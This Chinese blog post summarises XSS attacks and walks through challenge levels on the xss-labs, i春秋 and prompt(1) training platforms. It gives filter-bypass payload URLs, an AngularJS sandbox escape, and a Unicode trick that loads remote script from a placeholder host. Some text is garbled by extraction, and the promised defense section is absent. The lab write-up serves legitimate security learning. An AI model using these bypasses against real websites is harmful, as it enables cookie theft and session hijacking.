XSS攻击及防御总结和各平台通关思路
Posted 南岸青栀*
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS攻击及防御总结和各平台通关思路相关的知识,希望对你有一定的参考价值。
文章目录
- XSS原理
- XSS漏洞分类
- XSS的危害
- XSS漏洞的黑盒测试
- XSS漏洞的白盒测试
- xss-labs
- i春秋 XSS闯关
- prompt(1) 平台
- xss攻击总结
- XSS防御
- 补充:关于浏览器编码(圣经)务必熟读
XSS原理
跨站脚本攻击XSS(cross site scripting)。XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采用cookie窃取、会话劫持、钓鱼欺骗等各种攻击。
漏洞存在的主要原因:
- 参数输入未经过安全过滤
- 恶意脚本被输出到网页
- 用户的浏览器执行了恶意脚本
XSS漏洞分类
1.反射型XSS
也称非持久型、参数型跨站脚本。主要用于恶意脚本附加在URL地址的参数中。他需要欺骗用户点击链接才能出发XSS,一般容易出现搜索页面、输入框、URL参数处。反射型XSS大多数用来盗取用户的cookie信息。
2.存储型XSS
存储型XSS写进数据库或文件等可以永久保存数据的介质中,存储型XSS通常发生在留言板等地方。在留言板位置留言将恶意代码写进数据库中。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。
3.基于DOM的XSS
DOM-XSS是基于文档对象模型的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,也属于反射型xss
XSS的危害
针对用户:窃取cookie,劫持会话,网络钓鱼,放马挖矿
针对WEB服务:劫持后台,篡改页面,传播蠕虫,内网扫描
XSS漏洞的黑盒测试
尽可能找到一切用户可控并且能够输出在页面的代码中的地方,比如下面这些:
- URL的每个参数、URL本身、表单、搜索框、常见业务场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型:站内信、网页即时通讯、私信、意见反馈
- 存在风险:是搜索框,当前目录、图片属性等
XSS漏洞的白盒测试
关于XSS的代码升级主要就是从接收参数的地方和一些关键词入手。
php中常用的接收参数的方法有
G
E
T
、
GET、
GET、POST、$REQUET等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,查看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,然后能否控制,如果从数据库中取得,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等
xss-labs
预备插件 Hackbar
可以在Chrome商店进行下载
level 1
简单构造脚本
http://localhost/xss-labs/level1.php?name=test
查看源代码
Level-2
预备知识:
htmlspecialchars():把预定义的字符转换为html实体
参数:
- ENT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
可转换实体 - & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ’
- < (小于)成为 <
- `> (大于)成为 >
尝试与第一关相同的方式进行注入,发现并没有弹窗
查看网页源代码,发现<``>
被编码成html字符实体。猜测在服务器端使用了htmlspecialchars()函数对keyword参数的值进行了处理,那首先将标签闭合,然后再写入恶意代码 or 在标签内部
http://localhost/xss-labs/level2.php?keyword="><script>alert(1)</script>&submit=%E6%90%9C%E7%B4%A2
源码查看
htmlspecialchars()
上图源码可知,使用get方式传递到服务器端的keyword参数的值赋值给str变量,然后使用htmlspecialchars()函数对变量进行处理后显示到网页上。但是直接将变量值插入到input标签的value属性值中,因为并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击
Level-3
正常尝试,发现尖括号被过滤掉。
巧用input标签
http://localhost/xss-labs/level3.php?keyword=’ οnclick='alert(1)&submit=%E6%90%9C%E7%B4%A2
源码查看
Level-4
简单构建点击事件
http://localhost/xss-labs/level4.php?keyword=" οnclick="alert(1)
查看源码
Level-5
正常测试:发现展现出来后script,oneclick加上下划线
构造一个a标签,成功绕过
http://localhost/xss-labs/level5.php?keyword=" ><a href=javascript:alert(1)>xss</a>//
查看源码
发现函数将<script 替换为<scri_pt 、on替换为o_n,这样我们的script不能使用,input的点击事件也不能使用。
Level-6
正常测试:
http://localhost/xss-labs/level6.php?keyword=<ScriPt>alert(1)</ScRIpt>
可以发现大小写没有过滤,那就简单了
使用大小写绕过过滤
http://localhost/xss-labs/level6.php?keyword=" oNclick="alert(1)
Level-7
正常测试:发现有大小写过滤了,然后将script替换为空白,则可以尝试双写script
http://localhost/xss-labs/level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt>
查看源代码
首先将传入的参数进行转小写操作,然后对其中的特殊字符进行替换,替换为空白,这样就会双写就会将script拼接出来。
Level-8
实体编码,通过
javascript:alert(1)
查看源代码
可以看出过滤的常见的敏感标签,那么就可以从实体编码入手,将javascript:alert(1)转换为实体编码,绕过过滤。
Level-9
基本测试:发现能使用的关键字都被过滤掉了
查看源码后发现,除了8关的过滤之外,还存在判断输入中是否存在http://
所以尝试脚本后面加上http://,结果发现自己忘记还过滤了script,那么关键字使用html实体编码
实体编码关键字绕过成功
Level-10
正常测试:发现将<>过滤,并且将输出的结果放在了h2标签内,感觉没戏了,然后看到有隐藏的input标签,查看是否存在
发现t_sort也是可以传递参数的,转向t_sort 的input标签,
http://localhost/xss-labs/level10.php?keyword=xxx&&t_sort=" οnclick="alert(1) " type="text
源码查看
发现t_sort参数只是进行简单的<>过滤,也发现把输出的内容放在标签内,并且对敏感字进行转义杜绝大部分恶意代码。
Level-11
查看源代码;发现PHP $_SERVER[‘HTTP_REFERER’]
使用 $_SERVER[‘HTTP_REFERER’] 将很容易得到链接到当前页面的前一页面的地址。然后使用burpsite抓包增加referer参数
使用burpsuite进行抓包,增加referer参数进行构造
Level-12
感觉和第11关差不多,看一下网页源码
感觉可以在user-agent上做文章,抓包改一下
可以看到构造成功,成功进入下一关
查看源码
可以看见没有对user-agent的参数进行过滤,出现恶意代码;
Level-13
查看网页源代码,看到四个隐藏标签,然后尝试
http://10.4.209.122/xss-labs/level13.php?t_link=1&t_history=1&t_sort=1&t_cook=1
burpsuite抓包,发现cookie值可以构建错误代码
构建恶意语句
查看源代码
从源代码中可以看出,在读取用户
s
t
r
11
=
str11=
str11=_COOKIE[“user”];的时候仅仅做了简单的<过滤,从而导致恶意代码构造成功。
Level-14
14关现在
Level-15
预备知识:angular js
先了解一下其具体的用法。
- 1、ng-include 指令用于包含外部的 HTML文件。
- 2、包含的内容将作为指定元素的子节点。
- 3、ng-include 属性的值可以是一个表达式,返回一个文件名。
- 4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
- 1.ng-include,如果单纯指定地址,必须要加引号
- 2.ng-include,加载外部html,script标签中的内容不执行
- 3.ng-include,加载外部html中含有style标签样式可以识别
了解了该指令的大致用法之后,我们就不得不思考一下,既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件了
注:angular js已经不支持在ng-include
里加载script标签:https://github.com/angular/angular.js/issues/3756
可以看到成功触发弹窗了,而且在页面响应的下方还可以看到level1的页面。
查看源代码
Level-16
简单测试之后可以看到关键字script以及/符号、空格都被编码成同样的空格字符实体了。这样也没办法去闭合前面的标签了。所以先看看源文件的代码
查看源码
Level-17、Level-18、Level-19、Level-20
使用的是flash,现在已经被摒弃,所以就不进行实验了
i春秋 XSS闯关
Less-1
第一关估计就是简单的恶意脚本就可以
Less-2
进行正常测试,发现参数出现在脚本中,所以第一反应就是尝试逃逸出来,然后执行alert(1)
上才艺
http://eci-2zehd3kmbv84ufh9o4bk.cloudeci1.ichunqiu.com/level2?username=’;alert(1);//
Less-3
正常测试,发现和less2差不多
尝试使用Less2方法进行构造,结果发现单引号被转义
尝试双写单引号,绕过成功
看其他选手的题解,可以使用img标签构造恶意代码
http://eci-2zehd3kmbv84ufh9o4bk.cloudeci1.ichunqiu.com/level3?username=%3Cimg%20src=xxx%20οnerrοr=alert(1)%3E
Less-4
首先查看网页源代码
<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
测试jumpUrl参数,发现
构造恶意代码
Less-5
首先查看网页源代码,用出我的抠脚JS水平,大概解读出autosubmit参数,然后加上action就可以了。
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
构造恶意代码
http://eci-2ze3t1nn5qtlrf73i9ki.cloudeci1.ichunqiu.com/level5?autosubmit=123&action=javascript:alert(1)
OK,继续下一关
Less-6
着实有点难啊
正常测试
这。。。还放在了标签里面,并且对敏感字符做了实体编码。不会不会
查资料,原来这道题考的是AngularJS,还不会。。https://nosec.org/home/detail/4153.html
构造一个payload:
{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(1)//’);}}
最终拿到flag
prompt(1) 平台
Less-0
简单构建恶意代码
Less-1
首先看到源代码,对<>以及内容进行空格替换。 那就要利用html会有一个自动的纠错的功能了,这里我使用了img标签
通过img标签的onerror进行构造恶意代码
通过
通过svg标签加载prompt(1)
Less-2
查看源码发现过滤了=(
为空格
尝试使用实体编码绕过,使用svg标签可以加载实体编码
Less-3
查看源代码可以看见对->
进行了过滤,主要思路就是要逃出注释区域
Less-4
没有做出来,网上教程是加载本地js文件,但是我的没反应
Less-5
从过滤函数中可以看出,过滤掉了on和> focus,并且是gi,全局匹配,忽略大小写。但是没有忽略换行,所以可以换行,来绕过过滤函数
Less-6
分析源码可以看到,大概是由#分割,前面赋给form.action,使method=post,后面以json格式赋给formdata,把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交,所以这里使用js伪协议。由于允许我们创建我们自己的输入,这些输入可以用来破坏窗体的action属性。由于DOM破坏,document.forms [0] .action将返回我们新创建的输入字段而不是实际的action属性,因此可以执行JavaScript。
Less-7
查看源码,发现#是用来隔离多个input标签的,所以可以使用注释来巧妙构建恶意代码
使用script标签
使用svg标签
Less-8
可以看出我们一定要逃离这一行,但是\\r\\n都被替换掉了,所以就想到使用转义进行替换。
尝试了一下
这样肯定是不行的,然后打开网页终端,在终端里面使用换行或换段落的转义字符,发现是可以的。
上才艺
\\u2028,是Unicode中的行分隔符。
\\u2029,是Unicode中的段落分隔符。
–> 在 js 中可当注释使用
Less-9
正则简单,就是将<后面的所有字符前全部加_,也就是将<script>
这样的标签替换为<_SCRIPT>
,toUpperCase()
不仅转换英文字母,也转换一些Unicode字符,比如将ſ传入就可以转换为S,这样就可以绕过。
直接构造<ſcript>prompt(1)</ſcript>
不行,因为javascript对大小写敏感,,不识别PROMPT(1),所以构造的payload为<ſcript/ſrc="xxx/1.js"></ſcript>
,经过转换后就成了<h1><SCRIPT/SRC="HTTP://xxx/1.JS"></SCRIPT></h1>
,成功加载远程的js脚本。
Less-A
只是进行了html编码,然后将prompt替换成alert,由于还将’替换为空,所以很好绕过
注:encodeURIComponent()不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ .
! ~ * ’ ( ) 。其他字符(比如 :;/?:@&=+$,#
这些用于分隔 URI
组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
XSS攻击及防御